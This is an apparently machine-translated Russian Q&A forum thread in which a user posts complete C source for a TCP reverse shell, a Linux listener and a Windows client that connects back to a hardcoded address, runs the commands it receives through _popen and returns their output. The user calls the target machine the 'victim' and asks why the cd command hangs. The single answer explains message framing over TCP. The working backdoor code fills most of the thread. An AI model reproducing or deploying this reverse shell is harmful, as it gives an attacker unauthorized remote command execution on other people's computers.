От сервера обратной оболочки tcp получен неверный ответ - PullRequest
0 голосов
/ 20 апреля 2020

Я собираюсь сделать небольшую обратную оболочку tcp с c языком программирования. Сервер дает вам командную строку для отправки вашей команды клиенту.

E.X: ./Server 192.168.1.100 2321

Waiting for new connection...  
New connection was accepted from (192.168.1.8, 51958)  

[+] Shell@[192.168.1.8]~$: dir  

 Volume in drive C has no label.  
 Volume Serial Number is 9C07-7137

 Directory of C:\Users\Test\Desktop\Project4\Project4

04/20/2020  08:17 PM    <DIR>          .  
04/20/2020  08:17 PM    <DIR>          ..  
04/18/2020  06:27 PM    <DIR>          Debug  
04/18/2020  06:25 PM             5,761 Project4.vcxproj  
04/18/2020  06:25 PM               956 Project4.vcxproj.filters  
04/20/2020  08:17 PM             3,698 Source.c  
               3 File(s)         10,415 bytes  
               3 Dir(s)  61,965,709,312 bytes free  

[+] Shell@[192.168.1.8]~$:

Я хочу определить возможность изменения пути между каталогами жертвы для сервера, и я использовал функцию _chdir (). Как 'cd Downloads

Функция работает хорошо, но блокируется при отправке ответа сервера в режиме приема, пока соединение жертвы с сервером не будет отключено.

Сервер: (Кодировано linux Ubuntu / скомпилировано с помощью g cc / Выполнено на linux)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>

// Global variables
int Main_socket, Cli_socket;
struct sockaddr_in ServAddr, CliAddr;

void Socket_creation();
void Socket_bind(char [], int);
void Socket_listen();
void Socket_accept();
void Shell();

int main(int argc, char * argv[])
{
    if (argc < 3)
    {
        printf("Usage:\n\t./Server.out [IP-address] [Port-number]\n");
        printf("Example:\n\t./Server.out 192.168.1.100 2321\n");
        exit(0);
    }

    system("clear");

    Socket_creation();
    Socket_bind(argv[1], atoi(argv[2]));
    Socket_listen();
    Socket_accept();

    return 0;
}

void Socket_creation()
{
    int True = 1;

    if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        fprintf(stderr, "Socket creation was failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }

    if (setsockopt(Main_socket, SOL_SOCKET, SO_REUSEADDR, &True, sizeof(int)) == -1)
    {
        fprintf(stderr, "Setting TCP socket options failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_bind(char IP_address[], int Port_number)
{
    // Configuration
    memset(&ServAddr, 0, sizeof(ServAddr));
    ServAddr.sin_family = AF_INET;
    ServAddr.sin_addr.s_addr = inet_addr(IP_address);
    ServAddr.sin_port = htons(Port_number);

    if (bind(Main_socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) == -1)
    {
        fprintf(stderr, "Socket bind failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_listen()
{
    if (listen(Main_socket, 5) == -1)
    {
        fprintf(stderr, "Socket listen failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_accept()
{
    memset(&CliAddr, 0, sizeof(CliAddr));
    socklen_t CliAddrSize = sizeof(CliAddr);

    printf("Waiting for new connection...\n");
    if ((Cli_socket = accept(Main_socket, (struct sockaddr *) &CliAddr, &CliAddrSize)) == -1)
    {
        fprintf(stderr, "Could not accept any connection (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
    else
    {
        printf("New connection was accepted from (%s, %d)\n\n", inet_ntoa(CliAddr.sin_addr), ntohs(CliAddr.sin_port));
        Shell();
    }
}

void Shell()
{
    char Buffer[1024], Response[18384];

    while (1)
    {
        memset(&Buffer, 0, sizeof(Buffer));
        memset(&Response, 0, sizeof(Response));

        printf("[+] Shell@[%s]~$: ", inet_ntoa(CliAddr.sin_addr));
        fgets(Buffer, sizeof(Buffer) - 1, stdin);
        strtok(Buffer, "\n");
        //write(Cli_socket, Buffer, sizeof(Buffer));
        send(Cli_socket, &Buffer, strlen(Buffer), 0);

        if (strncmp("quit", Buffer, 4) == 0)
            break;
        else
            {
                recv(Cli_socket, Response, sizeof(Response), MSG_WAITALL);
                printf("%s\n", Response);
            }
    }
}

Клиент: (Кодировано windows 10 / Скомпилировано с помощью компилятора Visual Studio 17 / Выполнено на windows)

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include <errno.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WS2tcpip.h>

// In tutorial

#include <direct.h>
#include <limits.h>
#include <Windows.h>
#include <WinUser.h>
#include <WinInet.h>
#include <windowsx.h>
#include <sys/stat.h>

#include <WinSock2.h>

#pragma comment(lib, "ws2_32.lib");

#define TRUE 1

char * Str_cutter(char [], int, int);

int main()
{
    WSADATA WSAData;
    if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
    {
        fprintf(stderr, "Could not initialize winsock (CODE: %d)\n", WSAGetLastError());
        exit(0);
    }
    else
        printf("Winsock initialied.\n");

    SOCKET Main_socket;
    if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
    {
        fprintf(stderr, "Socket creation failed! (CODE: %d)\n", WSAGetLastError());
        WSACleanup();
        exit(0);
    }
    else
        printf("Socket created.\n");

    struct sockaddr_in CliAddr;
    memset(&CliAddr, 0, sizeof(CliAddr));

    CliAddr.sin_family = AF_INET;
    CliAddr.sin_addr.s_addr = inet_addr("192.168.1.11");
    CliAddr.sin_port = htons(2321);

    if (connect(Main_socket, (struct sockaddr_in *) &CliAddr, sizeof(CliAddr)) != 0)
    {
        fprintf(stderr, "Could not connect to the server! (CODE: %d)\n", WSAGetLastError());
        closesocket(Main_socket);
        WSACleanup();
        exit(0);
    }
    else
        printf("Connected\n");

    //====================================================================

    char Buffer[1024], Container[1024], Total_resp[18384], Path[_MAX_PATH];
    int s;

    while (TRUE)
    {
        memset(&Buffer, 0, sizeof(Buffer));
        memset(&Container, 0, sizeof(Container));
        memset(&Total_resp, 0, sizeof(Total_resp));

        s = recv(Main_socket, Buffer, 1024, 0);
        printf("%s\n", Buffer);

        if (strncmp("quit", Buffer, 4) == 0)
        {
            closesocket(Main_socket);
            WSACleanup();
            exit(0);
        }
        else if (strncmp("cd ", Buffer, 3) == 0)
        {
            if (_chdir(Str_cutter(Buffer, 3, _MAX_DIR)))
            {
                switch (errno)
                {
                case ENOENT:
                    printf("Unable to locate directory: %s\n", Buffer);
                    break;
                case EINVAL:
                    printf("Invalid buffer.\n");
                    break;
                default:
                    printf("%s\n", strerror(errno));
                }
            }
            else
            {
                _getcwd(Path, sizeof(Path));
                printf("%s\n", Path);
                if (send(Main_socket, Path, sizeof(Path), 0) == -1)
                {
                    printf("%s\n", strerror(errno));
                }
                else
                {
                    printf("DONE\n");
                }
            }
        }
        else
        {
            FILE *fp;
            // Creates a pip and executes a command (_popen)
            fp = _popen(Buffer, "r");
            while (fgets(Container, 1024, fp) != NULL)
            {
                strcat(Total_resp, Container);
            }
            send(Main_socket, Total_resp, sizeof(Total_resp), 0);
            fclose(fp);
        }
    }

    _getch();
    return 0;
}

/*
    cd downloads
    Str_cutter(str, 3, 100)
    3: cd + space
    100: directory name
*/
char * Str_cutter(char str[], int slice_from, int slice_to)
{
    if (str[0] == '\0')
        return NULL;

    char * buffer;
    size_t str_len, Buffer_len;

    if (slice_to < 0 && slice_from > slice_to)
    {
        str_len = strlen(str);
        if (abs(slice_to) > str_len - 1)
            return NULL;
        if (abs(slice_from) > str_len)
            slice_from = (-1) * str_len;

        Buffer_len = slice_to - slice_from;
        str += (str_len + slice_from);
    }
    else if (slice_from >= 0 && slice_to > slice_from)
    {
        str_len = strlen(str);
        if (slice_from > str_len - 1)
            return NULL;
        Buffer_len = slice_to - slice_from;
        str += slice_from;
    }
    else
        return NULL;

    buffer = calloc(Buffer_len, sizeof(char));
    strncpy(buffer, str, Buffer_len);

    return buffer;
}

1 Ответ

1 голос
/ 20 апреля 2020

Вы забыли реализовать протокол. Отключив \n от линии, клиент не сможет узнать, получил ли он всю строку или нет. И в вашем клиенте нет кода для приема строки.

Если вам нужно использовать TCP для отправки и получения сообщений, вы должны указать и внедрить протокол сообщений. TCP - это не протокол сообщений, это потоковый протокол. Затем вам нужно реализовать функции для отправки и получения сообщений .

Совершенно нормально указывать сообщение как «последовательность байтов, не включая символ новой строки, заканчивающийся символом новой строки». Но тогда вы должны отправить символ новой строки и ваш принимающий код должен продолжать вызывать recv до тех пор, пока он не получит символ новой строки.

В противном случае ввод может быть "cd foo \ n" , вы отправляете "cd foo", и первый вызов recv получает "cd f". Вы больше не звоните recv, поэтому вы не получите "oo", пока не станет слишком поздно.

...